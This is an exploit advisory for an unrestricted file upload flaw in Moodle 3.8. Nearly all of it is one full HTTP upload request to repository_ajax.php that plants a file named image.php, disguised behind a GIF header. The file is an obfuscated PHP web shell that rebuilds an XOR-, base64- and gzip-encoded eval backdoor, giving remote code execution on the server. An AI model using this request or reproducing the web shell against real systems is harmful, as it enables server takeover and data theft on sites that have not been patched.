# Exploit Title: Moodle 3.8 - Unrestricted File Upload # Date: 2019-09-08 # Exploit Author: Sirwan Veisi # Vendor Homepage: https://moodle.org/ # Software Link: https://github.com/moodle/moodle # Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4... # Tested on: Moodle Version 3.8 # CWE : CWE-434 I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that allows the attacker to upload or transfer files of dangerous types. Example exploitation request: POST /repository/repository_ajax.php?action=upload HTTP/1.1 Host: VulnerableHost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------38898830537874132223151601680 Content-Length: 2763 Origin: https://VulnerableHost Connection: close Referer: https://VulnerableHost/user/files.php Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai Upgrade-Insecure-Requests: 1 -----------------------------38898830537874132223151601680 Content-Disposition: form-data; name="repo_upload_file"; filename="image.php" Content-Type: image/jpeg GIF89a; <?php $Q=str_replace('kz','','crekzakztkze_kzfunckztkzion'); $O='"";for%(%$i=%0;$i<$l;){for%($j=0%;($j<$c&%&$i<$l);$%j++,$i+%+%){$o.=$%t{$i'; $l='_contents(%"php:%//input"),%$m)=%=1){@ob%_start();%@eva%l(@gzunc%o%mpress(%@'; $C='$k="3%fbd6%8c8"%;$kh="2a%e%7d638909f";$%kf%="60eb0ffaeb%1%7";$p="dP%FT1%'; $h='x(@b%ase%6%4_decode($m[1%]),$k)));%$o=@o%b_get_conte%%nts();@ob_end%%_c%lean'; $N='}%%^$k{$j};}}retu%rn $o;}i%f(@preg%_matc%%h("/$kh(.+)$%%k%f%/",@file_ge%t'; $e='Nmy694Bcj%Vc";fu%nction% x(%$t,$k){$c=st%rle%n%($%%k);$l=strlen($t)%;$o='; $V='();$r=@bas%e64_en%cod%e(@x(@%%gzcomp%ress($o),$k))%;%print("$%p$kh$r$kf");}'; $P=str_replace('%','',$C.$e.$O.$N.$l.$h.$V); $n=$Q('',$P);$n(); ?> -----------------------------